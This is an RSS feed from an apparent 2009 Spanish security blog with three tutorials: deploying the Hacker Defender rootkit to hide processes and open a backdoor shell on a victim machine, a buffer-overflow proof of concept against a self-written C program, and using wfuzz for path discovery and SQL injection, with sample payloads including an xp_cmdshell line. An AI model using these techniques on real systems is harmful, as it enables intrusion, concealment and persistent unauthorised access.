<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>Hack2sec</title>
	<atom:link href="http://hack2sec.wordpress.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://hack2sec.wordpress.com</link>
	<description>Articulos de Hacking y Seguridad</description>
	<lastBuildDate>Mon, 20 Apr 2009 17:44:17 +0000</lastBuildDate>
	<language>es</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='hack2sec.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://s2.wp.com/i/buttonw-com.png</url>
		<title>Hack2sec</title>
		<link>http://hack2sec.wordpress.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://hack2sec.wordpress.com/osd.xml" title="Hack2sec" />
	<atom:link rel='hub' href='http://hack2sec.wordpress.com/?pushpress=hub'/>
		<item>
		<title>Rootkits &#8211; HackerDefender</title>
		<link>http://hack2sec.wordpress.com/2009/04/20/rootkits-hackerdefender/</link>
		<comments>http://hack2sec.wordpress.com/2009/04/20/rootkits-hackerdefender/#comments</comments>
		<pubDate>Mon, 20 Apr 2009 17:43:17 +0000</pubDate>
		<dc:creator>jarivas</dc:creator>
				<category><![CDATA[Artículos]]></category>

		<guid isPermaLink="false">http://hack2sec.wordpress.com/?p=89</guid>
		<description><![CDATA[Los Rootkits son un tipo de malware utilizado por los hackers con el objetivo de ocultar información que podría delatar su presencia en aquellas máquinas a las que ya han conseguido acceso. A pesar de su nombre, no debemos confundirnos y pensar que un root kit es una aplicación diseñada para conseguir acceso como root [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hack2sec.wordpress.com&amp;blog=7077195&amp;post=89&amp;subd=hack2sec&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Los Rootkits son un tipo de malware utilizado por los hackers con el objetivo de ocultar información que podría delatar su presencia en aquellas máquinas a las que ya han conseguido acceso.</p>
<p>A pesar de su nombre, no debemos confundirnos y pensar que un root kit es una aplicación diseñada para conseguir acceso como root en un sistema. Los root kits siempre son usados una vez que hemos conseguido el acceso (generalmente inmediatamente despues) con dos objetivos fundamentales:</p>
<ol type="1">
<li>Ocultar las huellas tanto del      propio root kit como de cualquier otro malware que hayamos instalado en la      máquina victima</li>
<li>Dejar preparada una puerta      trasera a través de la cual facilitarnos el acceso a la máquina víctima en      el futuro.</li>
</ol>
<p><span id="more-89"></span>Existen varios tipos y clasificaciones de root kits, pero fundamentalmente podemos distinguirlos en dos grandes clases:</p>
<ul type="disc">
<li>Rootkits a nivel de aplicación</li>
<li>Rootkits a nivel de kernel</li>
</ul>
<p>Los root kits a nivel de aplicación se encargan de inyectar código malicioso en la capa de aplicación, reescribiendo de alguna manera el comportamiento por defecto de algunas aplicaciones de la máquina víctima. Por ejemplo se podría hacer que cada vez que se ejecutar el comando <em>ps </em>no mostrara determinados procesos.</p>
<p>Estos root kits de aplicación son relativamente fáciles de detectar, ya que los antivirus tienen almacenadas las firmas digitales de muchas aplicaciones, de manera que es fácil detectar aquellas aplicaciones que han mutado a causa del root kit, ya que su firma no coincide.</p>
<p>Por otra parte, los rootkits a nivel de kernel son más peligrosos, ya que trabajan a un nivel mucho más bajo que las aplicaciones, haciendo su detección más compleja. Este tipo de rootkis pueden trabajar directamente con librerías o módulos del sistema, y son generalmente los que permiten poner en marcha las puertas traseras que comentabamos antes.</p>
<p>A pesar de que hoy en día muchas compañias de antivirus incluyen herramientas de detección anti root kits, la detección y eliminación completa de este tipo de malware puede ser muy costosa en tiempo, ya que existen varias técnicas para hacer difcilmente detectables los procesos y servicios que componen el rootkit. A veces es posible que sea más fácil reinstalar los sistemas operativos de los equipos infectados que intentar limpiar todo rastro del root kit, hoy en día, con los sistemas de imágenes de instalaciones de SO, esta tarea es mucho más llevadera.</p>
<p>Uno de los más conocidos root kits es el llamado &#8220;hacker defender&#8221; creado por &#8220;the holy father&#8221;. Vamos a ver por encima como podríamos ejecutarlo en una máquina a la que ya hubieramos ganado acceso para ocultar el troyano y a la vez preparar una puerta trasera.</p>
<p><strong>Hacker Defender.</strong></p>
<p>Lo primero es bajarnos google defender, podemos hacerlo desde la página:</p>
<p><a href="http://www.rootkit.com/board_project_fused.php?did=proj5">http://www.rootkit.com/board_project_fused.php?did=proj5</a></p>
<p>Una vez descomprimido, vemos que hay varios archivos. Hacker defender permite hacer diversas operaciones relacionadas con la ocultación de información y la apertura de backdoors, y por esa razón sus opciones de configuración son muchas y muy variadas. Aquí tan sólo vamos a comentar su operativa por defecto.</p>
<p>Centremonos en tres archivos:</p>
<ul type="disc">
<li>hxdef100.ini</li>
<li>hxdef100.exe</li>
<li>bdcli100.exe</li>
</ul>
<p>El fichero hxdef100.ini es el que tiene la configuración que queremos que utilice el hackerdefender. El archivo se compone de varias secciones, las cuales están documentadas en el archivo readmeen.txt. Veamos las más importantes.</p>
<p>[Hidden Table]</p>
<p>hxdef*</p>
<p>rcmd.exe</p>
<p>Los archivos definidos en esta tabla serán ocultos por el rootkit. En este caso, ningún archivo que comience por hxdef, y el ejecutable rcmd.exe (una shell de root que utiliza el hacker).</p>
<p>[Hidden Processes]</p>
<p>hxdef*</p>
<p>rcmd.exe</p>
<p>En este caso, también ocultará los procesos cuyo nombre coincida con las entradas de esta tabla. Observad que está permitido el uso de comodines. Así pues, los procesos del propio hacker defender, así como el proceso de la shell de root serán invisibles a cualquier usuario de la máquina infectada.</p>
<p>[Root Processes]</p>
<p>hxdef*</p>
<p>rcmd.exe</p>
<p>Dado que el root kit ocultará la información a cualquier usuario (incluido el hacker) es necesario definir aquellos procesos que serán una excepción para el hacker defender. En este caso, además de los procesos del propio root kit, la consola rcmd.exe será &#8220;inmune&#8221; a todas las ocultaciones que vamos a realizar.</p>
<p>[Settings]</p>
<p>Password=hxdef-rulez</p>
<p>BackdoorShell=hxdefß$.exe</p>
<p>En esta parte se definen varios valores que controlan la configuración del hacker defender. Es importante anotar el password y el nombre del proceso que se lanzará.</p>
<p>De momento esto es suficiente para seguir realizando nuestro test, aunque hay muchas más cosas interesantes que definir en el archivo de configuración (como ocultar determinadas claves de registro o servicios)</p>
<p>Para probar el funcionamiento del hacker defender, vamos a realizar una prueba sencilla, que está basada en un vídeo muy simple (pero ilustrativo) que demuestra como funciona el hacker defender. Podéis ver el vídeo en:</p>
<p><a href="http://www.wonderhowto.com/how-to/video/how-to-use-the-hacker-defender-rootkit-or-hackdef-263022/">http://www.wonderhowto.com/how-to/video/how-to-use-the-hacker-defender-rootkit-or-hackdef-263022/</a></p>
<p>Describo brevemente los pasos a modo de resumen</p>
<p>Necesitaremos dos máquinas, en este caso funcionamos con dos windows XP.</p>
<p>La máquina A será la máquina del hacker, controlada por él.</p>
<p>La máquina B será la víctima, a la cual el hacker ya ha conseguido acceso.</p>
<p>Necesitaremos que la máquina B sea accesible a través de algún puerto (HFS, puerto 80 puede valer).</p>
<p>Ejecutamos el archivo  hxdef100.exe en la victima. Al hacer esto estamos dando por supuesto que usamos el archivo de configuración por defecto.</p>
<p>Una vez hecho esto, se puede observar como automáticamente se ocultan todos los archivos y procesos que están definidos en el archivo .ini, con lo que se consigue el primer objetivo, hacer invisible el rootkit.</p>
<p>Para comprobar el funcionamiento del backdoor, nos iremos a nuestra máquina A, y ejecutaremos el archivo bdcli100.exe, lo cual nos pedirá un host, (IP de la máquina B) un puerto (el 80) y un password (el definido en la parte settings del archivo de configuración).</p>
<p>Si todo ha ido bien, tendremos una bonita shell de root en la máquina A contra la máquina B, que además no se ve afectada por los procesos de ocultación, con lo que podríamos por ejemplo, desinstalar el root kit de manera silenciosa una vez hubieramos avisado al responsable de la máquina A de cómo hemos ganado acceso a su sistema para que pueda ser arreglado <img src='http://s2.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>O tambíen podriamos desinstalar el troyano menos sutilmente formateando el disco duro &gt;)</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hack2sec.wordpress.com/89/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hack2sec.wordpress.com/89/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hack2sec.wordpress.com/89/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hack2sec.wordpress.com/89/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/hack2sec.wordpress.com/89/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/hack2sec.wordpress.com/89/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/hack2sec.wordpress.com/89/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/hack2sec.wordpress.com/89/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hack2sec.wordpress.com/89/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hack2sec.wordpress.com/89/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hack2sec.wordpress.com/89/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hack2sec.wordpress.com/89/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hack2sec.wordpress.com/89/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hack2sec.wordpress.com/89/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hack2sec.wordpress.com&amp;blog=7077195&amp;post=89&amp;subd=hack2sec&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hack2sec.wordpress.com/2009/04/20/rootkits-hackerdefender/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/89bba13377127c4a6c33cbfc7ecdf891?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">jarivas</media:title>
		</media:content>
	</item>
		<item>
		<title>Buffer overflow &#8211; La base para los payloads de los exploits</title>
		<link>http://hack2sec.wordpress.com/2009/04/14/buffer-overflow-la-base-para-los-payloads-de-los-exploits/</link>
		<comments>http://hack2sec.wordpress.com/2009/04/14/buffer-overflow-la-base-para-los-payloads-de-los-exploits/#comments</comments>
		<pubDate>Tue, 14 Apr 2009 16:13:10 +0000</pubDate>
		<dc:creator>Jathron</dc:creator>
				<category><![CDATA[Pruebas de concepto]]></category>

		<guid isPermaLink="false">http://hack2sec.wordpress.com/?p=54</guid>
		<description><![CDATA[Existen muchos payloads que aprovechan determinados exploits para comprometer sistemas remotos que emplean técnicas de inyección de código. La inyección de código empleando técnicas de buffer overflow siempre ha parecido algo propio de los Hackers &#8220;jedi&#8221;. No significa que sea dificil, pero si son necesarios ciertos conocimientos y sobre todo paciencia. En este artículo os [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hack2sec.wordpress.com&amp;blog=7077195&amp;post=54&amp;subd=hack2sec&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Existen muchos payloads que aprovechan determinados exploits para comprometer sistemas remotos que emplean técnicas de inyección de código.<br />
La inyección de código empleando técnicas de buffer overflow siempre ha parecido algo propio de los Hackers &#8220;jedi&#8221;. No significa que sea dificil, pero si son necesarios ciertos conocimientos y sobre todo paciencia.<br />
En este artículo os voy a explicar de una forma sencilla una prueba de concepto sobre como crear el comienzo de un &#8220;payload&#8221; para una inyección de código empleando una vulnerabilidad de determinado servicio.<br />
<span id="more-54"></span></p>
<p>Vamos a realizar una prueba de concepto con un programa desarrollado por nosotros mismos y mediante el debug de nuestro programa realizaremos el Buffer Overflow.</p>
<p>Para comenzar habrá que bajarse desde internet CgyWin e instalarlo en un equipos Windows:</p>
<p>Vamos a crear un programa básico en C que contenga un par de variables y que nos permita introducir texto en las mismas.<br />
Los procesos de carga de dichas variables difieren dependiendo del tipo de programa, nosotros lo vamos a programar para que lo realice por la entrada estandar del teclado.</p>
<p>Creamos un fichero llamado <strong>001.c</strong> con las siguientes líneas:</p>
<p style="padding-left:30px;"><span style="color:#008000;">#include &lt;stdio.h&gt;</span></p>
<p style="padding-left:30px;"><span style="color:#008000;">int main()<br />
{<br />
char apellido[25];<br />
</span><span style="color:#008000;">char nombre[25];</span></p>
<p style="padding-left:30px;"><span style="color:#008000;"> </span><span style="color:#008000;"> </span><span style="color:#008000;">printf(&#8220;introduce tu nombre: &#8220;);<br />
</span><span style="color:#008000;"> </span><span style="color:#008000;"> </span><span style="color:#008000;">scanf(&#8220;%s&#8221;, nombre);<br />
</span><span style="color:#008000;"> </span><span style="color:#008000;"> </span><span style="color:#008000;">printf(&#8220;introduce tu apellido: &#8220;);<br />
</span><span style="color:#008000;">scanf(&#8220;%s&#8221;, apellido);<br />
</span><span style="color:#008000;">printf(&#8220;Nombre: %s, Apellido: %s!!\n&#8221;, nombre, apellido);<br />
</span><span style="color:#008000;"> </span><span style="color:#008000;"> </span><span style="color:#008000;">return 0;<br />
}</span></p>
<p>compilar el código con:<br />
<strong>#gcc -ggdb -o 001.exe 001.c</strong></p>
<p>Escribir 44 caracteres,&#8230;. ya que a partir del caracter 45 vamos a sobreescribir el punto de retorno del programa con una nueva dirección.</p>
<p>Posteriormente depurar el programa con <em>GDB</em>:</p>
<p><strong> #gdb 001.exe</strong></p>
<p style="padding-left:30px;">Algunos de los comandos del debug gdb que nos serán utiles para esta prueba de contepto:</p>
<p style="padding-left:30px;">&#8220;<strong>list</strong>&#8221; : 10 primeras lineas de codigo.<br />
&#8220;<strong>run</strong>&#8221; o &#8220;<strong>r</strong>&#8221; : Ejecuta el programa.<br />
&#8220;<strong>break main</strong>&#8220;: Establece un punto de ruptura en la funcion main()<br />
&#8220;<strong>step</strong>&#8221; o &#8220;<strong>s</strong>&#8221; : Avanza una linea.<br />
&#8220;<strong>continue</strong>&#8221; : Continua la ejecutión del programa.<br />
&#8220;<strong>display nombre</strong>&#8221; : Visualiza variable nombre.<br />
&#8220;<strong>info locals</strong>&#8221; : Visualiza las variables locales.</p>
<p style="padding-left:30px;">&#8220;<strong>info registers</strong>&#8220;: Visualiza el estado de los registros del procesador.<br />
<strong> <span style="color:#ff0000;">el registro ebp almacena la direccion de retorno de la función.</span></strong><br />
&#8220;<strong>disassemble main</strong>&#8220;: Desensambla el main (funcion principal).<br />
&#8220;<strong>x/100</strong>&#8220;: Visualiza cien posiciones de memoria</p>
<p>Ahora escribiremos:<br />
<strong>#x/100 0x22cba8</strong>: Visualiza el contenido de memoria desde la 0x22cba8 (observar que restamos 0&#215;100 bytes al punto de retorno del programa almacenado en el registro ebp para ver el código previo).</p>
<p>Si desensamblamos main tendremos:</p>
<pre style="padding-left:30px;"><span style="color:#008000;">Dump of assembler code for function main:

<strong><span style="color:#ff0000;">0x00401050</span></strong> &lt;main+0&gt;:    push   %ebp   <strong><span style="color:#ff0000;">&lt;- direccion inicio del programa</span></strong>
0x00401051 &lt;main+1&gt;:    mov    %esp,%ebp
0x00401053 &lt;main+3&gt;:    sub    $0x68,%esp
0x00401056 &lt;main+6&gt;:    and    $0xfffffff0,%esp
0x00401059 &lt;main+9&gt;:    mov    $0x0,%eax
0x0040105e &lt;main+14&gt;:   add    $0xf,%eax
0x00401061 &lt;main+17&gt;:   add    $0xf,%eax
0x00401064 &lt;main+20&gt;:   shr    $0x4,%eax
0x00401067 &lt;main+23&gt;:   shl    $0x4,%eax
0x0040106a &lt;main+26&gt;:   mov    %eax,-0x4c(%ebp)
0x0040106d &lt;main+29&gt;:   mov    -0x4c(%ebp),%eax
0x00401070 &lt;main+32&gt;:   call   0x4010dc &lt;_alloca&gt;
0x00401075 &lt;main+37&gt;:   call   0x40116c &lt;__main&gt;
0x0040107a &lt;main+42&gt;:   movl   $0x402000,(%esp)
0x00401081 &lt;main+49&gt;:   call   0x40118c &lt;printf&gt;
0x00401086 &lt;main+54&gt;:   lea    -0x48(%ebp),%eax
0x00401089 &lt;main+57&gt;:   mov    %eax,0x4(%esp)
0x0040108d &lt;main+61&gt;:   movl   $0x402016,(%esp)
0x00401094 &lt;main+68&gt;:   call   0x40117c &lt;scanf&gt;
0x00401099 &lt;main+73&gt;:   movl   $0x402019,(%esp)
0x004010a0 &lt;main+80&gt;:   call   0x40118c &lt;printf&gt;
0x004010a5 &lt;main+85&gt;:   lea    -0x28(%ebp),%eax
0x004010a8 &lt;main+88&gt;:   mov    %eax,0x4(%esp)
0x004010ac &lt;main+92&gt;:   movl   $0x402016,(%esp)
0x004010b3 &lt;main+99&gt;:   call   0x40117c &lt;scanf&gt;
0x004010b8 &lt;main+104&gt;:  lea    -0x28(%ebp),%eax
0x004010bb &lt;main+107&gt;:  mov    %eax,0x8(%esp)
0x004010bf &lt;main+111&gt;:  lea    -0x48(%ebp),%eax
0x004010c2 &lt;main+114&gt;:  mov    %eax,0x4(%esp)
0x004010c6 &lt;main+118&gt;:  movl   $0x402031,(%esp)
0x004010cd &lt;main+125&gt;:  call   0x40118c &lt;printf&gt;
0x004010d2 &lt;main+130&gt;:  mov    $0x0,%eax
0x004010d7 &lt;main+135&gt;:  leave
0x004010d8 &lt;main+136&gt;:  ret
</span></pre>
<p>Probamos a escribir caracteres en el apellido hasta que el programa falle.<br />
Veremos que falla cuando escribimos de apellido con 45 caracteres, luego el caracter 45 sobrescribe el primer valor del registro ebp (retorno de memoria).</p>
<p>Ejecutamos el programa y escribimos en apellido con 44 caracteres,&#8230; despues escribiremos directamente el siguiente exto, correspondiente con la nueva dirección en ASCII:</p>
<p>La direccion de inicio del programa (0&#215;00401050)<br />
En ASCII tenemos:<br />
<strong>P</strong>: 0&#215;50<br />
<strong>ALT+16</strong>: 0&#215;10 [16 en decimal]<br />
<strong>@</strong>: 0&#215;40<br />
<strong>Enter</strong>: 0&#215;00 o NULL lo almacena como fin de cadena ASCII en C.</p>
<p><em> Escribiremos despues de los 44 caracters &#8220;P+[ALT+16]+@&#8221; : <strong><span style="color:#ff0000;">0&#215;00401050</span></strong></em></p>
<p>El resultado será que se ejecuta el programa desde el principio:</p>
<p style="padding-left:30px;"><span style="color:#008000;">(gdb) run<br />
Starting program: /home/Administrador/001.exe<br />
[New thread 2404.0xd68]<br />
[New thread 2404.0x7c]<br />
introduce tu nombre: nombre</span></p>
<pre style="padding-left:30px;"><span style="color:#008000;">leave
0x004010d8 &lt;main+136&gt;:
</span></pre>
<p style="padding-left:30px;"><span style="color:#008000;"> introduce tu apellido: 12345678901234567890123456789012345678901234P►@<br />
Nombre: nombre, Apellido: 12345678901234567890123456789012345678901234P►@!!<br />
introduce tu nombre:  <strong><span style="color:#ff0000;">&lt;</span><span style="color:#ff0000;">- El programa regresa al inicio y pregunta de nuevo &#8220;introduce tu nombre&#8221;</span></strong></span></p>
<p>El programa se corromperá a continuación del scanf ya que la recupera erronemente de la pila el siguiente ebp, esto es facilmente evitable pero no es el fin de este tutorial.<br />
<em>Comentar que la versión de GCC 4 tiene por defecto habilitada la protección similar a la del &#8220;canario&#8221; contra los metodos de overflow que he explicado en este tutorial.</em></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hack2sec.wordpress.com/54/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hack2sec.wordpress.com/54/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hack2sec.wordpress.com/54/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hack2sec.wordpress.com/54/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/hack2sec.wordpress.com/54/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/hack2sec.wordpress.com/54/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/hack2sec.wordpress.com/54/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/hack2sec.wordpress.com/54/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hack2sec.wordpress.com/54/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hack2sec.wordpress.com/54/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hack2sec.wordpress.com/54/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hack2sec.wordpress.com/54/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hack2sec.wordpress.com/54/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hack2sec.wordpress.com/54/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hack2sec.wordpress.com&amp;blog=7077195&amp;post=54&amp;subd=hack2sec&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hack2sec.wordpress.com/2009/04/14/buffer-overflow-la-base-para-los-payloads-de-los-exploits/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/9a55d4705297e87cd0da58e7947f28ad?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">hack2sec</media:title>
		</media:content>
	</item>
		<item>
		<title>Fuzzing</title>
		<link>http://hack2sec.wordpress.com/2009/04/08/fuzzing/</link>
		<comments>http://hack2sec.wordpress.com/2009/04/08/fuzzing/#comments</comments>
		<pubDate>Wed, 08 Apr 2009 22:37:16 +0000</pubDate>
		<dc:creator>Jathron</dc:creator>
				<category><![CDATA[Artículos]]></category>
		<category><![CDATA[Herramientas]]></category>

		<guid isPermaLink="false">http://hack2sec.wordpress.com/?p=49</guid>
		<description><![CDATA[Vamos con otro tema interesante,&#8230; el fuzzing, un termino empleado para referirse a las técnicas de software automatizadas, capaces de generar y enviar datos secuenciales o aleatorios a una o varias áreas o puntos de una aplicación, con el objeto de detectar defectos o vulnerabilidades existentes en el software auditado. Los sistemas empleados para el [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hack2sec.wordpress.com&amp;blog=7077195&amp;post=49&amp;subd=hack2sec&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Vamos con otro tema interesante,&#8230; el fuzzing, un termino empleado para referirse a las técnicas de software automatizadas, capaces de generar y enviar datos secuenciales o aleatorios a una o varias áreas o puntos de una aplicación, con el objeto de detectar defectos o vulnerabilidades existentes en el software auditado.<br />
<span id="more-49"></span><br />
Los sistemas empleados para el &#8216;Fuzzing&#8217; se llaman &#8216;Fuzzers&#8217; como no podría ser de otra manera.<br />
&#8216;Fuzz&#8217;, desarrollado en 1990 por Barton Miller en la Universidad de Wisconsin en Madison, pasa por ser el primer fuzzer, pero hoy en día se cuentan por decenas los programas de este tipo, utilizados generalmente en tests de penetración.</p>
<p>En resumen, los Fuzzers son herramientas automáticas que realizan pruebas secuenciales de datos seudo-aleatorios (basados muchos de ellos en diccionarios de palabras) contra aplicaciones (tanto de cliente como servidor).<br />
Los Fuzzers son a nivel de aplicación, no de sistemas y cubren detecciones de vulnerabilidades frente a inyecciones SQL, descubrimiento de directorios ocultos, validaciones por fuerza bruta, etc&#8230;.</p>
<p>Existen diferentes aplicaciones del concepto de Fuzzing,&#8230;. así mismo los hay que lanzan automáticamente el navegador y prueban peticiones validas del navegador con generadores de peticiones de forma que detectan la posible vulnerabilidad del navegador, dichas vulnerabilidades, algunas pueden ser de &#8216;zero day&#8217;, pueden ser empleadas en creación de troyanos o gusanos que la empleen para infectar nuestros sistemas.</p>
<p>Aunque como os comento existen multitud de Fuzzers os voy a presentar uno de los más conocidos:</p>
<p>&#8220;Se llama wfuzz y es un web fuzzer, vamos, una tool para bruteforcear el protocolo HTTP, ya sea para hacer pruebas de path discovery (recursivas) o bien para bruteforcear variables, ya sean pasadas por GET o POST, headers&#8230;&#8221;</p>
<p>Básicamente emplea diccionarios (incluidos en la descarga) para sustituir el parámetro &#8220;FUZZ&#8221; lo pongamos donde lo pongamos por las palabras del diccionario (en el caso de las inyecciones SQL el diccionario está ya preparado con los patrones SQL más empleados y efectivos por ejemplo). Dependiendo de la prueba que estemos haciendo emplearemos un diccionario u otro.</p>
<p><strong>Wfuzz</strong></p>
<p>La dirección de descarga es la siguiente:</p>
<p><em>Linux: http://www.edge-security.com/soft/wfuzz-1.4.tar.gz<br />
Windows: http://www.edge-security.com/soft/wfuzz-1.4b-win.tar.gz</em></p>
<p>Los diccionarios más empleados disponibles en la descarga son los siguientes:</p>
<p>· big.txt: con un diccionario de palabras del tipo &#8220;admin&#8221;, &#8220;prueba&#8221;, etc&#8230;<br />
· SQL.txt: con diccionario de inyecciones SQL. Algunos ejemplos del diccionario:<br />
&#8216; or 1=1 or &#8221;=&#8217;<br />
t&#8217;exec master..xp_cmdshell &#8216;nslookup www.google.com&#8217;&#8211;<br />
char%4039%41%2b%40SELECT<br />
· XML.txt, XSL.txt y el propio SQL.txt están incluidos en uno más global llamado All_attack.txt (sobran las explicaciones).</p>
<p>Vamos a comenzar con la sintaxis para el descubrimiento básico de directorios ocultos en portales web (path discovery):<br />
Supongamos que deseamos analizar nuestra portal cuya dirección es &#8220;www.paginaweb.com&#8221; y más concretamente todo lo que cuelgue de &#8220;www.paginaweb.com/es&#8221;</p>
<p><strong> #./wfuzz.py -c -z file -f wordlists/big.txt &#8211;hc 404 http://www.paginaweb.com/es/FUZZ</strong></p>
<p>Como respuesta tendremos el listado de directorios cuya respuesta sea diferente al error http 404 (es decir, existe se deniegue o no el acceso).<br />
por ejemplo:</p>
<p><span style="color:#339966;">Total requests: 3037<br />
===========================================================<br />
ID    Response   Lines      Word     Request<br />
===========================================================</span></p>
<p><span style="color:#339966;">00014:  C=200    182 L         732 W     &#8220;/&#8221;<br />
00754:  C=200      1 L          10 W     &#8220;css&#8221;<br />
01023:  C=200      1 L          10 W     &#8220;img&#8221;<br />
01276:  C=301      1 L          10 W     &#8220;scripts&#8221;<br />
01597:  C=200      1 L          10 W     &#8220;admin&#8221;</span></p>
<p>Si salieran directorios interesantes podemos añadir un parámetro adicional para hacer el test recursivo con un nivel de profundidad en el arbol de directorios encontrados:</p>
<p><strong>#./wfuzz.py -c -z file -f wordlists/big.txt -R 1 &#8211;hc 404 http://www.paginaweb.com/es/FUZZ</strong></p>
<p><span style="color:#339966;">[...]<br />
&#8212;&#8212;&#8212;&#8212;&#8212; Recursion level 1 &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</span></p>
<p><span style="color:#339966;">===========================================================<br />
ID    Response   Lines      Word     Request<br />
===========================================================<br />
03197:  C=301      1 L          10 W     &#8220;admin/jaime&#8221;<br />
05782:  C=301      1 L          10 W     &#8220;admin/oficinas&#8221;<br />
06283:  C=301      1 L          10 W     &#8220;admin/root&#8221;<br />
[...]</span></p>
<p>Tambien podemos realizar pruebas tests con inyecciones en parametros GET:</p>
<p><strong> #./wfuzz.py -c -z file -f wordlists/big.txt &#8211;hc 404 &#8220;id=1&amp;catalogue=FUZZ&#8221; http://www.mysite.com/check.asp</strong></p>
<p>Añadiendo simplemente &#8220;-d&#8221; en la sintaxis de la prueba enviará los parametros de la inyección por POST.</p>
<p><strong> #./wfuzz.py -c -z file -f wordlists/big.txt &#8211;hc 404 -d &#8220;id=1&amp;catalogue=FUZZ&#8221; http://www.mysite.com/check.asp</strong></p>
<p>Solo deciros que existen una cantidad importante de páginas web con directorios sin autenticación mostrando información &#8220;sensible&#8221;, por no decir de los que dan acceso a administraciones tanto de contenidos como de bases de datos,&#8230; etc.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hack2sec.wordpress.com/49/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hack2sec.wordpress.com/49/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hack2sec.wordpress.com/49/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hack2sec.wordpress.com/49/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/hack2sec.wordpress.com/49/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/hack2sec.wordpress.com/49/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/hack2sec.wordpress.com/49/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/hack2sec.wordpress.com/49/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hack2sec.wordpress.com/49/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hack2sec.wordpress.com/49/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hack2sec.wordpress.com/49/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hack2sec.wordpress.com/49/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hack2sec.wordpress.com/49/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hack2sec.wordpress.com/49/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hack2sec.wordpress.com&amp;blog=7077195&amp;post=49&amp;subd=hack2sec&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
